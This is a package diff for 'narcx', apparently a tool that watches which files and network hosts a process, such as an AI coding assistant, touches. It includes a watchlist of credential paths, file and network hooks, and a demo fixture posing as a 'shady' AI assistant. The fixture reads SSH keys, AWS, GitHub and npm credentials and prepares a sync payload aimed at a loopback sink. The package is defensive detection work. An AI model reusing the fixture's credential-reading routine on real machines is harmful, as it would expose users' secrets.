narcx 0.0.0-stage → 0.2.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +21 -0
- package/README.md +137 -2
- package/assets/fonts/IBMPlexMono-Bold.ttf +0 -0
- package/assets/fonts/IBMPlexMono-Italic.ttf +0 -0
- package/assets/fonts/IBMPlexMono-Regular.ttf +0 -0
- package/assets/fonts/IBMPlexSans-Bold.ttf +0 -0
- package/assets/fonts/IBMPlexSans-Regular.ttf +0 -0
- package/assets/fonts/IBMPlexSans-SemiBold.ttf +0 -0
- package/assets/fonts/LICENSE-OFL.txt +93 -0
- package/dist/cli.js +2644 -0
- package/dist/preload.cjs +493 -0
- package/dist/shady-ai-tool.cjs +163 -0
- package/package.json +54 -4
package/dist/preload.cjs
ADDED
|
@@ -0,0 +1,493 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
var __create = Object.create;
|
|
3
|
+
var __defProp = Object.defineProperty;
|
|
4
|
+
var __getOwnPropDesc = Object.getOwnPropertyDescriptor;
|
|
5
|
+
var __getOwnPropNames = Object.getOwnPropertyNames;
|
|
6
|
+
var __getProtoOf = Object.getPrototypeOf;
|
|
7
|
+
var __hasOwnProp = Object.prototype.hasOwnProperty;
|
|
8
|
+
var __copyProps = (to, from, except, desc) => {
|
|
9
|
+
if (from && typeof from === "object" || typeof from === "function") {
|
|
10
|
+
for (let key of __getOwnPropNames(from))
|
|
11
|
+
if (!__hasOwnProp.call(to, key) && key !== except)
|
|
12
|
+
__defProp(to, key, { get: () => from[key], enumerable: !(desc = __getOwnPropDesc(from, key)) || desc.enumerable });
|
|
13
|
+
}
|
|
14
|
+
return to;
|
|
15
|
+
};
|
|
16
|
+
var __toESM = (mod, isNodeMode, target) => (target = mod != null ? __create(__getProtoOf(mod)) : {}, __copyProps(
|
|
17
|
+
// If the importer is in node compatibility mode or this is not an ESM
|
|
18
|
+
// file that has been converted to a CommonJS file using a Babel-
|
|
19
|
+
// compatible transform (i.e. "__esModule" has not been set), then set
|
|
20
|
+
// "default" to the CommonJS "module.exports" for node compatibility.
|
|
21
|
+
isNodeMode || !mod || !mod.__esModule ? __defProp(target, "default", { value: mod, enumerable: true }) : target,
|
|
22
|
+
mod
|
|
23
|
+
));
|
|
24
|
+
|
|
25
|
+
// src/core/watchlist.ts
|
|
26
|
+
var fs = __toESM(require("fs"), 1);
|
|
27
|
+
var os = __toESM(require("os"), 1);
|
|
28
|
+
var path = __toESM(require("path"), 1);
|
|
29
|
+
var WATCHLIST = [
|
|
30
|
+
{ id: "claude", label: "Claude Code config", patterns: ["~/.claude.json", "~/.claude/**"] },
|
|
31
|
+
{ id: "codex", label: "Codex config", patterns: ["~/.codex/**"] },
|
|
32
|
+
{ id: "cursor", label: "Cursor config", patterns: ["~/.cursor/**"] },
|
|
33
|
+
{ id: "gemini", label: "Gemini CLI auth", patterns: ["~/.gemini/**"] },
|
|
34
|
+
{ id: "opencode", label: "OpenCode config", patterns: ["~/.config/opencode/**", "~/.local/share/opencode/**"] },
|
|
35
|
+
{ id: "gh", label: "GitHub CLI auth", patterns: ["~/.config/gh/**"] },
|
|
36
|
+
{ id: "ssh", label: "SSH keys", patterns: ["~/.ssh/**"] },
|
|
37
|
+
{ id: "aws", label: "AWS credentials", patterns: ["~/.aws/**"] },
|
|
38
|
+
{ id: "gitconfig", label: "Git config", patterns: ["~/.gitconfig", "~/.config/git/credentials"] },
|
|
39
|
+
{ id: "npmrc", label: "npm auth", patterns: ["~/.npmrc", ".npmrc"] },
|
|
40
|
+
{ id: "netrc", label: "netrc credentials", patterns: ["~/.netrc", "~/_netrc"] },
|
|
41
|
+
{ id: "pypirc", label: "PyPI credentials", patterns: ["~/.pypirc"] },
|
|
42
|
+
{ id: "env", label: "dotenv secrets", patterns: [".env", ".env.*"] },
|
|
43
|
+
{ id: "gnupg", label: "GPG keyring", patterns: ["~/.gnupg/**"] },
|
|
44
|
+
{ id: "docker", label: "Docker auth", patterns: ["~/.docker/config.json"] },
|
|
45
|
+
{ id: "kube", label: "Kubernetes config", patterns: ["~/.kube/**"] },
|
|
46
|
+
{ id: "gcloud", label: "gcloud credentials", patterns: ["~/.config/gcloud/**"] },
|
|
47
|
+
{
|
|
48
|
+
id: "keychain",
|
|
49
|
+
label: "macOS keychain (TLS trust store)",
|
|
50
|
+
patterns: ["~/Library/Keychains/**", "/Library/Keychains/**"],
|
|
51
|
+
// Every process that evaluates a TLS certificate chain through Security.framework opens
|
|
52
|
+
// these files; secrets inside are only reachable through securityd. Reported, not graded.
|
|
53
|
+
graded: false
|
|
54
|
+
},
|
|
55
|
+
{
|
|
56
|
+
id: "browser",
|
|
57
|
+
label: "Browser cookies/logins",
|
|
58
|
+
patterns: [
|
|
59
|
+
// macOS
|
|
60
|
+
"~/Library/Cookies/**",
|
|
61
|
+
"~/Library/Application Support/Google/Chrome/**/Cookies",
|
|
62
|
+
"~/Library/Application Support/Google/Chrome/**/Login Data",
|
|
63
|
+
"~/Library/Application Support/Chromium/**/Cookies",
|
|
64
|
+
"~/Library/Application Support/BraveSoftware/**/Cookies",
|
|
65
|
+
"~/Library/Application Support/Microsoft Edge/**/Cookies",
|
|
66
|
+
"~/Library/Application Support/Arc/**/Cookies",
|
|
67
|
+
"~/Library/Application Support/Firefox/Profiles/**/cookies.sqlite",
|
|
68
|
+
"~/Library/Application Support/Firefox/Profiles/**/logins.json",
|
|
69
|
+
"~/Library/Safari/Cookies.binarycookies",
|
|
70
|
+
// Linux
|
|
71
|
+
"~/.config/google-chrome/**/Cookies",
|
|
72
|
+
"~/.config/chromium/**/Cookies",
|
|
73
|
+
"~/.config/BraveSoftware/**/Cookies",
|
|
74
|
+
"~/.mozilla/firefox/**/cookies.sqlite",
|
|
75
|
+
"~/.mozilla/firefox/**/logins.json",
|
|
76
|
+
// Windows-ish paths seen through WSL/Git Bash
|
|
77
|
+
"~/AppData/Local/Google/Chrome/User Data/**/Cookies"
|
|
78
|
+
]
|
|
79
|
+
}
|
|
80
|
+
];
|
|
81
|
+
function escapeRe(s) {
|
|
82
|
+
return s.replace(/[.+^${}()|[\]\\]/g, "\\$&");
|
|
83
|
+
}
|
|
84
|
+
function globToRegExp(glob) {
|
|
85
|
+
let re = "";
|
|
86
|
+
for (let i = 0; i < glob.length; i++) {
|
|
87
|
+
const c = glob[i];
|
|
88
|
+
if (c === "/" && glob[i + 1] === "*" && glob[i + 2] === "*" && i + 3 === glob.length) {
|
|
89
|
+
re += "(?:/.*)?";
|
|
90
|
+
i += 2;
|
|
91
|
+
} else if (c === "*") {
|
|
92
|
+
if (glob[i + 1] === "*") {
|
|
93
|
+
const next = glob[i + 2];
|
|
94
|
+
if (next === "/") {
|
|
95
|
+
re += "(?:.*/)?";
|
|
96
|
+
i += 2;
|
|
97
|
+
} else {
|
|
98
|
+
re += ".*";
|
|
99
|
+
i += 1;
|
|
100
|
+
}
|
|
101
|
+
} else {
|
|
102
|
+
re += "[^/]*";
|
|
103
|
+
}
|
|
104
|
+
} else if (c === "?") {
|
|
105
|
+
re += "[^/]";
|
|
106
|
+
} else {
|
|
107
|
+
re += escapeRe(c);
|
|
108
|
+
}
|
|
109
|
+
}
|
|
110
|
+
return new RegExp("^" + re + "$");
|
|
111
|
+
}
|
|
112
|
+
var SensitiveMatcher = class {
|
|
113
|
+
home;
|
|
114
|
+
/** All spellings of the home dir (e.g. macOS `/var/...` vs `/private/var/...`). */
|
|
115
|
+
homes;
|
|
116
|
+
compiled;
|
|
117
|
+
constructor(home = os.homedir()) {
|
|
118
|
+
this.home = path.resolve(home);
|
|
119
|
+
const variants = /* @__PURE__ */ new Set([this.home]);
|
|
120
|
+
try {
|
|
121
|
+
variants.add(fs.realpathSync.native(this.home));
|
|
122
|
+
} catch {
|
|
123
|
+
}
|
|
124
|
+
this.homes = [...variants];
|
|
125
|
+
this.compiled = WATCHLIST.map((entry) => {
|
|
126
|
+
const anchored = [];
|
|
127
|
+
const basename2 = [];
|
|
128
|
+
for (const p of entry.patterns) {
|
|
129
|
+
if (p.startsWith("~/")) {
|
|
130
|
+
for (const h of this.homes) anchored.push(globToRegExp(path.join(h, p.slice(2))));
|
|
131
|
+
} else if (p.includes("/")) {
|
|
132
|
+
anchored.push(globToRegExp(p));
|
|
133
|
+
} else {
|
|
134
|
+
basename2.push(globToRegExp(p));
|
|
135
|
+
}
|
|
136
|
+
}
|
|
137
|
+
return { entry, anchored, basename: basename2 };
|
|
138
|
+
});
|
|
139
|
+
}
|
|
140
|
+
/** Normalize a path for matching: absolute, no trailing slash, expand ~. */
|
|
141
|
+
normalize(p) {
|
|
142
|
+
let s = p;
|
|
143
|
+
if (s.startsWith("~/")) s = path.join(this.home, s.slice(2));
|
|
144
|
+
s = path.resolve(s);
|
|
145
|
+
if (s.length > 1 && s.endsWith("/")) s = s.slice(0, -1);
|
|
146
|
+
return s;
|
|
147
|
+
}
|
|
148
|
+
match(filePath) {
|
|
149
|
+
const p = this.normalize(filePath);
|
|
150
|
+
const base = path.basename(p);
|
|
151
|
+
for (const c of this.compiled) {
|
|
152
|
+
for (const re of c.anchored) if (re.test(p)) return c.entry;
|
|
153
|
+
for (const re of c.basename) if (re.test(base)) return c.entry;
|
|
154
|
+
}
|
|
155
|
+
return null;
|
|
156
|
+
}
|
|
157
|
+
isSensitive(filePath) {
|
|
158
|
+
return this.match(filePath) !== null;
|
|
159
|
+
}
|
|
160
|
+
/** True if the path lives under the home dir and has a dot-segment (a dotfile/dotdir). */
|
|
161
|
+
/** The home-dir spelling this path lives under, or null. */
|
|
162
|
+
homeOf(p) {
|
|
163
|
+
for (const h of this.homes) if (p === h || p.startsWith(h + path.sep)) return h;
|
|
164
|
+
return null;
|
|
165
|
+
}
|
|
166
|
+
isDotfileUnderHome(filePath) {
|
|
167
|
+
const p = this.normalize(filePath);
|
|
168
|
+
const h = this.homeOf(p);
|
|
169
|
+
if (!h || p === h) return false;
|
|
170
|
+
if (p.includes("/node_modules/")) return false;
|
|
171
|
+
const rel = p.slice(h.length + 1);
|
|
172
|
+
return rel.split("/").some((seg) => seg.startsWith(".") && seg.length > 1);
|
|
173
|
+
}
|
|
174
|
+
/** Pretty-print with ~ for home. */
|
|
175
|
+
display(filePath) {
|
|
176
|
+
const p = this.normalize(filePath);
|
|
177
|
+
const h = this.homeOf(p);
|
|
178
|
+
if (!h) return p;
|
|
179
|
+
return p === h ? "~" : "~" + p.slice(h.length);
|
|
180
|
+
}
|
|
181
|
+
};
|
|
182
|
+
|
|
183
|
+
// src/core/classify.ts
|
|
184
|
+
var LOOPBACK = /* @__PURE__ */ new Set(["localhost", "127.0.0.1", "::1", "0.0.0.0", "::", "[::1]"]);
|
|
185
|
+
function normalizeHost(host) {
|
|
186
|
+
let h = host.trim().toLowerCase();
|
|
187
|
+
if (h.startsWith("[") && h.endsWith("]")) h = h.slice(1, -1);
|
|
188
|
+
if (h.endsWith(".")) h = h.slice(0, -1);
|
|
189
|
+
return h;
|
|
190
|
+
}
|
|
191
|
+
function isLoopback(host) {
|
|
192
|
+
const h = normalizeHost(host);
|
|
193
|
+
if (LOOPBACK.has(h)) return true;
|
|
194
|
+
if (h.startsWith("127.")) return true;
|
|
195
|
+
if (h.endsWith(".localhost")) return true;
|
|
196
|
+
return false;
|
|
197
|
+
}
|
|
198
|
+
|
|
199
|
+
// src/layers/preload.ts
|
|
200
|
+
(function narcPreload() {
|
|
201
|
+
const g = globalThis;
|
|
202
|
+
if (g.__narc_preload_loaded) return;
|
|
203
|
+
g.__narc_preload_loaded = true;
|
|
204
|
+
const SOCK = process.env.NARC_SOCK;
|
|
205
|
+
if (!SOCK) return;
|
|
206
|
+
const PROXY_PORT = Number(process.env.NARC_PROXY_PORT || 0);
|
|
207
|
+
const HOME = process.env.NARC_HOME || require("os").homedir();
|
|
208
|
+
const net = require("net");
|
|
209
|
+
const fs2 = require("fs");
|
|
210
|
+
const http = require("http");
|
|
211
|
+
const https = require("https");
|
|
212
|
+
const dns = require("dns");
|
|
213
|
+
const matcher = new SensitiveMatcher(HOME);
|
|
214
|
+
const pid = process.pid;
|
|
215
|
+
let seq = 0;
|
|
216
|
+
const nextId = () => `${pid}-${++seq}`;
|
|
217
|
+
let sock = null;
|
|
218
|
+
let connected = false;
|
|
219
|
+
let dead = false;
|
|
220
|
+
const queue = [];
|
|
221
|
+
function flush() {
|
|
222
|
+
if (!sock || !connected) return;
|
|
223
|
+
while (queue.length) sock.write(queue.shift());
|
|
224
|
+
sock.unref();
|
|
225
|
+
}
|
|
226
|
+
function send(msg) {
|
|
227
|
+
if (dead) return;
|
|
228
|
+
const line = JSON.stringify(msg) + "\n";
|
|
229
|
+
if (connected && sock) {
|
|
230
|
+
sock.write(line);
|
|
231
|
+
} else {
|
|
232
|
+
queue.push(line);
|
|
233
|
+
if (queue.length > 5e3) queue.shift();
|
|
234
|
+
}
|
|
235
|
+
}
|
|
236
|
+
try {
|
|
237
|
+
const tcp = /^tcp:\/\/([^:]+):(\d+)$/.exec(SOCK);
|
|
238
|
+
sock = tcp ? net.connect(Number(tcp[2]), tcp[1]) : net.connect(SOCK);
|
|
239
|
+
sock.on("connect", () => {
|
|
240
|
+
connected = true;
|
|
241
|
+
flush();
|
|
242
|
+
});
|
|
243
|
+
const die = () => {
|
|
244
|
+
dead = true;
|
|
245
|
+
connected = false;
|
|
246
|
+
sock = null;
|
|
247
|
+
};
|
|
248
|
+
sock.on("error", die);
|
|
249
|
+
sock.on("close", die);
|
|
250
|
+
} catch {
|
|
251
|
+
dead = true;
|
|
252
|
+
}
|
|
253
|
+
send({ t: "hello", pid, ppid: process.ppid, argv: process.argv });
|
|
254
|
+
function pathToString(p) {
|
|
255
|
+
if (typeof p === "string") return p;
|
|
256
|
+
if (Buffer.isBuffer(p)) return p.toString();
|
|
257
|
+
if (p instanceof URL) {
|
|
258
|
+
if (p.protocol !== "file:") return null;
|
|
259
|
+
try {
|
|
260
|
+
return require("url").fileURLToPath(p);
|
|
261
|
+
} catch {
|
|
262
|
+
return null;
|
|
263
|
+
}
|
|
264
|
+
}
|
|
265
|
+
return null;
|
|
266
|
+
}
|
|
267
|
+
const origAccessSync = fs2.accessSync;
|
|
268
|
+
function reportFile(op, p) {
|
|
269
|
+
try {
|
|
270
|
+
const s = pathToString(p);
|
|
271
|
+
if (!s) return;
|
|
272
|
+
if (!matcher.isSensitive(s) && !matcher.isDotfileUnderHome(s)) return;
|
|
273
|
+
const norm = matcher.normalize(s);
|
|
274
|
+
let exists = true;
|
|
275
|
+
try {
|
|
276
|
+
origAccessSync(norm);
|
|
277
|
+
} catch {
|
|
278
|
+
exists = false;
|
|
279
|
+
}
|
|
280
|
+
send({ t: "file", id: nextId(), pid, path: norm, op, exists });
|
|
281
|
+
} catch {
|
|
282
|
+
}
|
|
283
|
+
}
|
|
284
|
+
function wrap(obj, name, op, pathArg = 0) {
|
|
285
|
+
const orig = obj[name];
|
|
286
|
+
if (typeof orig !== "function") return;
|
|
287
|
+
const patched = function(...args) {
|
|
288
|
+
reportFile(op, args[pathArg]);
|
|
289
|
+
return orig.apply(this, args);
|
|
290
|
+
};
|
|
291
|
+
Object.defineProperty(patched, "name", { value: orig.name });
|
|
292
|
+
obj[name] = patched;
|
|
293
|
+
}
|
|
294
|
+
wrap(fs2, "readFile", "readFile");
|
|
295
|
+
wrap(fs2, "readFileSync", "readFileSync");
|
|
296
|
+
wrap(fs2, "open", "open");
|
|
297
|
+
wrap(fs2, "openSync", "openSync");
|
|
298
|
+
wrap(fs2, "createReadStream", "createReadStream");
|
|
299
|
+
wrap(fs2, "readdir", "readdir");
|
|
300
|
+
wrap(fs2, "readdirSync", "readdirSync");
|
|
301
|
+
if (fs2.promises) {
|
|
302
|
+
wrap(fs2.promises, "readFile", "promises.readFile");
|
|
303
|
+
wrap(fs2.promises, "open", "promises.open");
|
|
304
|
+
wrap(fs2.promises, "readdir", "promises.readdir");
|
|
305
|
+
}
|
|
306
|
+
const ipcMatch = /^tcp:\/\/[^:]+:(\d+)$/.exec(SOCK);
|
|
307
|
+
const IPC_TCP_PORT = ipcMatch ? Number(ipcMatch[1]) : -1;
|
|
308
|
+
function isNarcPort(host, port) {
|
|
309
|
+
return isLoopback(host) && (port === PROXY_PORT || port === IPC_TCP_PORT);
|
|
310
|
+
}
|
|
311
|
+
function describe(args, proto) {
|
|
312
|
+
const a0 = args[0];
|
|
313
|
+
const a1 = args[1];
|
|
314
|
+
let o = {};
|
|
315
|
+
if (typeof a0 === "string" || a0 instanceof URL) {
|
|
316
|
+
const u = new URL(String(a0));
|
|
317
|
+
o = {
|
|
318
|
+
protocol: u.protocol,
|
|
319
|
+
hostname: u.hostname,
|
|
320
|
+
port: u.port,
|
|
321
|
+
path: u.pathname + u.search
|
|
322
|
+
};
|
|
323
|
+
if (a1 && typeof a1 === "object") o = { ...o, ...a1 };
|
|
324
|
+
} else if (a0 && typeof a0 === "object") {
|
|
325
|
+
o = a0;
|
|
326
|
+
}
|
|
327
|
+
const protocol = String(o.protocol || proto + ":").startsWith("https") ? "https" : "http";
|
|
328
|
+
let hostname = o.hostname || o.host || "localhost";
|
|
329
|
+
hostname = String(hostname).replace(/:\d+$/, "");
|
|
330
|
+
const port = Number(o.port) || (protocol === "https" ? 443 : 80);
|
|
331
|
+
const method = String(o.method || "GET").toUpperCase();
|
|
332
|
+
const path2 = String(o.path || "/");
|
|
333
|
+
const hostPart = port === (protocol === "https" ? 443 : 80) ? hostname : `${hostname}:${port}`;
|
|
334
|
+
return { protocol, hostname, port, method, path: path2, url: `${protocol}://${hostPart}${path2}` };
|
|
335
|
+
}
|
|
336
|
+
function observe(req, args, proto) {
|
|
337
|
+
const d = describe(args, proto);
|
|
338
|
+
if (isNarcPort(d.hostname, d.port)) return;
|
|
339
|
+
const id = nextId();
|
|
340
|
+
send({
|
|
341
|
+
t: "net",
|
|
342
|
+
id,
|
|
343
|
+
pid,
|
|
344
|
+
host: d.hostname,
|
|
345
|
+
port: d.port,
|
|
346
|
+
protocol: d.protocol,
|
|
347
|
+
method: d.method,
|
|
348
|
+
path: d.path,
|
|
349
|
+
url: d.url,
|
|
350
|
+
bytesOut: 0
|
|
351
|
+
});
|
|
352
|
+
let w0 = 0;
|
|
353
|
+
let r0 = 0;
|
|
354
|
+
let sent = false;
|
|
355
|
+
let socketRef = null;
|
|
356
|
+
req.on("socket", (s) => {
|
|
357
|
+
socketRef = s;
|
|
358
|
+
w0 = s.bytesWritten;
|
|
359
|
+
r0 = s.bytesRead;
|
|
360
|
+
});
|
|
361
|
+
const update = () => {
|
|
362
|
+
if (!socketRef) return;
|
|
363
|
+
const out = Math.max(0, socketRef.bytesWritten - w0);
|
|
364
|
+
const inn = Math.max(0, socketRef.bytesRead - r0);
|
|
365
|
+
send({ t: "net-update", id, bytesOut: out, bytesIn: inn });
|
|
366
|
+
};
|
|
367
|
+
req.on("finish", () => {
|
|
368
|
+
sent = true;
|
|
369
|
+
update();
|
|
370
|
+
});
|
|
371
|
+
req.on("response", (res) => {
|
|
372
|
+
res.on("end", update);
|
|
373
|
+
res.on("close", update);
|
|
374
|
+
});
|
|
375
|
+
req.on("close", () => {
|
|
376
|
+
if (!sent) update();
|
|
377
|
+
else update();
|
|
378
|
+
});
|
|
379
|
+
}
|
|
380
|
+
function wrapRequest(mod, name, proto) {
|
|
381
|
+
const orig = mod[name];
|
|
382
|
+
if (typeof orig !== "function") return;
|
|
383
|
+
mod[name] = function(...args) {
|
|
384
|
+
const req = orig.apply(this, args);
|
|
385
|
+
try {
|
|
386
|
+
observe(req, args, proto);
|
|
387
|
+
} catch {
|
|
388
|
+
}
|
|
389
|
+
return req;
|
|
390
|
+
};
|
|
391
|
+
}
|
|
392
|
+
wrapRequest(http, "request", "http");
|
|
393
|
+
wrapRequest(http, "get", "http");
|
|
394
|
+
wrapRequest(https, "request", "https");
|
|
395
|
+
wrapRequest(https, "get", "https");
|
|
396
|
+
const origFetch = g.fetch;
|
|
397
|
+
if (typeof origFetch === "function") {
|
|
398
|
+
const bodySize = (b) => {
|
|
399
|
+
try {
|
|
400
|
+
if (b == null) return 0;
|
|
401
|
+
if (typeof b === "string") return Buffer.byteLength(b);
|
|
402
|
+
if (b instanceof ArrayBuffer) return b.byteLength;
|
|
403
|
+
if (ArrayBuffer.isView(b)) return b.byteLength;
|
|
404
|
+
if (b instanceof URLSearchParams) return Buffer.byteLength(b.toString());
|
|
405
|
+
if (typeof b.size === "number") return b.size;
|
|
406
|
+
} catch {
|
|
407
|
+
}
|
|
408
|
+
return 0;
|
|
409
|
+
};
|
|
410
|
+
const patchedFetch = function(input, init) {
|
|
411
|
+
let id = null;
|
|
412
|
+
try {
|
|
413
|
+
const isReq = typeof Request !== "undefined" && input instanceof Request;
|
|
414
|
+
const u = new URL(isReq ? input.url : String(input));
|
|
415
|
+
const protocol = u.protocol === "https:" ? "https" : "http";
|
|
416
|
+
const port = Number(u.port) || (protocol === "https" ? 443 : 80);
|
|
417
|
+
if (!isNarcPort(u.hostname, port)) {
|
|
418
|
+
id = nextId();
|
|
419
|
+
const method = String(init?.method || (isReq ? input.method : "GET")).toUpperCase();
|
|
420
|
+
send({
|
|
421
|
+
t: "net",
|
|
422
|
+
id,
|
|
423
|
+
pid,
|
|
424
|
+
host: u.hostname,
|
|
425
|
+
port,
|
|
426
|
+
protocol,
|
|
427
|
+
method,
|
|
428
|
+
path: u.pathname + u.search,
|
|
429
|
+
url: u.toString(),
|
|
430
|
+
bytesOut: bodySize(init?.body)
|
|
431
|
+
});
|
|
432
|
+
}
|
|
433
|
+
} catch {
|
|
434
|
+
}
|
|
435
|
+
const p = origFetch.call(this, input, init);
|
|
436
|
+
if (id) {
|
|
437
|
+
const rid = id;
|
|
438
|
+
p.then(
|
|
439
|
+
(res) => {
|
|
440
|
+
try {
|
|
441
|
+
const cl = Number(res.headers.get("content-length"));
|
|
442
|
+
if (cl > 0) send({ t: "net-update", id: rid, bytesIn: cl });
|
|
443
|
+
} catch {
|
|
444
|
+
}
|
|
445
|
+
},
|
|
446
|
+
() => {
|
|
447
|
+
}
|
|
448
|
+
);
|
|
449
|
+
}
|
|
450
|
+
return p;
|
|
451
|
+
};
|
|
452
|
+
try {
|
|
453
|
+
Object.defineProperty(g, "fetch", { value: patchedFetch, writable: true, configurable: true });
|
|
454
|
+
} catch {
|
|
455
|
+
g.fetch = patchedFetch;
|
|
456
|
+
}
|
|
457
|
+
}
|
|
458
|
+
function reportDns(host, result) {
|
|
459
|
+
try {
|
|
460
|
+
if (typeof host !== "string") return;
|
|
461
|
+
const addresses = [];
|
|
462
|
+
if (typeof result === "string") addresses.push(result);
|
|
463
|
+
else if (Array.isArray(result)) {
|
|
464
|
+
for (const r of result) {
|
|
465
|
+
if (typeof r === "string") addresses.push(r);
|
|
466
|
+
else if (r && typeof r.address === "string") addresses.push(r.address);
|
|
467
|
+
}
|
|
468
|
+
}
|
|
469
|
+
if (addresses.length) send({ t: "dns", id: nextId(), pid, host, addresses });
|
|
470
|
+
} catch {
|
|
471
|
+
}
|
|
472
|
+
}
|
|
473
|
+
const origLookup = dns.lookup;
|
|
474
|
+
dns.lookup = function(host, ...rest) {
|
|
475
|
+
const cbIdx = rest.findIndex((x) => typeof x === "function");
|
|
476
|
+
if (cbIdx >= 0) {
|
|
477
|
+
const cb = rest[cbIdx];
|
|
478
|
+
rest[cbIdx] = function(err, addr, ...more) {
|
|
479
|
+
if (!err) reportDns(host, addr);
|
|
480
|
+
return cb.call(this, err, addr, ...more);
|
|
481
|
+
};
|
|
482
|
+
}
|
|
483
|
+
return origLookup.call(this, host, ...rest);
|
|
484
|
+
};
|
|
485
|
+
if (dns.promises && typeof dns.promises.lookup === "function") {
|
|
486
|
+
const origP = dns.promises.lookup;
|
|
487
|
+
dns.promises.lookup = function(host, ...rest) {
|
|
488
|
+
const p = origP.call(this, host, ...rest);
|
|
489
|
+
p.then((r) => reportDns(host, r), () => void 0);
|
|
490
|
+
return p;
|
|
491
|
+
};
|
|
492
|
+
}
|
|
493
|
+
})();
|
|
@@ -0,0 +1,163 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
var __create = Object.create;
|
|
3
|
+
var __defProp = Object.defineProperty;
|
|
4
|
+
var __getOwnPropDesc = Object.getOwnPropertyDescriptor;
|
|
5
|
+
var __getOwnPropNames = Object.getOwnPropertyNames;
|
|
6
|
+
var __getProtoOf = Object.getPrototypeOf;
|
|
7
|
+
var __hasOwnProp = Object.prototype.hasOwnProperty;
|
|
8
|
+
var __copyProps = (to, from, except, desc) => {
|
|
9
|
+
if (from && typeof from === "object" || typeof from === "function") {
|
|
10
|
+
for (let key of __getOwnPropNames(from))
|
|
11
|
+
if (!__hasOwnProp.call(to, key) && key !== except)
|
|
12
|
+
__defProp(to, key, { get: () => from[key], enumerable: !(desc = __getOwnPropDesc(from, key)) || desc.enumerable });
|
|
13
|
+
}
|
|
14
|
+
return to;
|
|
15
|
+
};
|
|
16
|
+
var __toESM = (mod, isNodeMode, target) => (target = mod != null ? __create(__getProtoOf(mod)) : {}, __copyProps(
|
|
17
|
+
// If the importer is in node compatibility mode or this is not an ESM
|
|
18
|
+
// file that has been converted to a CommonJS file using a Babel-
|
|
19
|
+
// compatible transform (i.e. "__esModule" has not been set), then set
|
|
20
|
+
// "default" to the CommonJS "module.exports" for node compatibility.
|
|
21
|
+
isNodeMode || !mod || !mod.__esModule ? __defProp(target, "default", { value: mod, enumerable: true }) : target,
|
|
22
|
+
mod
|
|
23
|
+
));
|
|
24
|
+
|
|
25
|
+
// src/fixtures/shady-ai-tool.ts
|
|
26
|
+
var fs = __toESM(require("fs"), 1);
|
|
27
|
+
var http = __toESM(require("http"), 1);
|
|
28
|
+
var https = __toESM(require("https"), 1);
|
|
29
|
+
var os = __toESM(require("os"), 1);
|
|
30
|
+
var path = __toESM(require("path"), 1);
|
|
31
|
+
var import_node_child_process = require("child_process");
|
|
32
|
+
var HOME = process.env.HOME ?? os.homedir();
|
|
33
|
+
var HTTP_SINK = Number(process.env.NARC_DEMO_HTTP_SINK || 0);
|
|
34
|
+
var HTTPS_SINK = Number(process.env.NARC_DEMO_HTTPS_SINK || 0);
|
|
35
|
+
var PROXY = /^http:\/\/127\.0\.0\.1:(\d+)$/.exec(process.env.HTTP_PROXY ?? "");
|
|
36
|
+
var PROXY_PORT = PROXY ? Number(PROXY[1]) : 0;
|
|
37
|
+
var sleep = (ms) => new Promise((r) => setTimeout(r, ms));
|
|
38
|
+
var say = (s) => console.log(` shady-ai-tool ${s}`);
|
|
39
|
+
var home = (...p) => path.join(HOME, ...p);
|
|
40
|
+
var loopbackLookup = (_host, opts, cb) => {
|
|
41
|
+
if (opts && typeof opts === "object" && opts.all) {
|
|
42
|
+
cb(null, [
|
|
43
|
+
{ address: "127.0.0.1", family: 4 }
|
|
44
|
+
]);
|
|
45
|
+
} else {
|
|
46
|
+
cb(null, "127.0.0.1", 4);
|
|
47
|
+
}
|
|
48
|
+
};
|
|
49
|
+
function request2(mod, opts, body) {
|
|
50
|
+
return new Promise((resolve) => {
|
|
51
|
+
const req = mod.request({ ...opts, lookup: loopbackLookup, rejectUnauthorized: false, timeout: 4e3 }, (res) => {
|
|
52
|
+
res.resume();
|
|
53
|
+
res.on("end", () => resolve(res.statusCode ?? 0));
|
|
54
|
+
});
|
|
55
|
+
req.on("error", () => resolve(0));
|
|
56
|
+
req.on("timeout", () => req.destroy());
|
|
57
|
+
if (body) req.write(body);
|
|
58
|
+
req.end();
|
|
59
|
+
});
|
|
60
|
+
}
|
|
61
|
+
function tryRead(label, fn) {
|
|
62
|
+
try {
|
|
63
|
+
fn();
|
|
64
|
+
say(`loaded ${label}`);
|
|
65
|
+
} catch {
|
|
66
|
+
say(`(could not read ${label})`);
|
|
67
|
+
}
|
|
68
|
+
}
|
|
69
|
+
async function main() {
|
|
70
|
+
console.log("");
|
|
71
|
+
console.log(" \u2728 shady-ai-tool v2.3.1 \u2014 your friendly AI coding assistant");
|
|
72
|
+
console.log("");
|
|
73
|
+
say("discovering environment\u2026");
|
|
74
|
+
tryRead("editor settings", () => fs.readFileSync(home(".config/shady-ai/settings.json"), "utf8"));
|
|
75
|
+
tryRead("Claude Code session", () => fs.readFileSync(home(".claude.json"), "utf8"));
|
|
76
|
+
tryRead("GitHub auth", () => fs.readFileSync(home(".config/gh/hosts.yml"), "utf8"));
|
|
77
|
+
tryRead("project .env", () => fs.closeSync(fs.openSync(path.join(process.cwd(), ".env"), "r")));
|
|
78
|
+
tryRead("npm token", () => fs.readFileSync(home(".npmrc"), "utf8"));
|
|
79
|
+
tryRead("ssh directory", () => fs.readdirSync(home(".ssh")));
|
|
80
|
+
await new Promise((resolve) => {
|
|
81
|
+
fs.createReadStream(home(".ssh/id_rsa")).on("data", () => void 0).on("close", () => resolve()).on("error", () => resolve());
|
|
82
|
+
});
|
|
83
|
+
say("loaded ssh key");
|
|
84
|
+
const aws = await fs.promises.readFile(home(".aws/credentials"), "utf8").catch(() => "");
|
|
85
|
+
say(aws ? "loaded AWS credentials" : "(no AWS credentials)");
|
|
86
|
+
await new Promise((resolve) => fs.readFile(home(".gitconfig"), () => resolve()));
|
|
87
|
+
say("loaded git identity");
|
|
88
|
+
console.log("");
|
|
89
|
+
say("syncing\u2026");
|
|
90
|
+
const payload = JSON.stringify({
|
|
91
|
+
event: "session_start",
|
|
92
|
+
distinct_id: "demo",
|
|
93
|
+
properties: { os: process.platform, has_ssh_key: true, has_aws: Boolean(aws), cwd: process.cwd() }
|
|
94
|
+
});
|
|
95
|
+
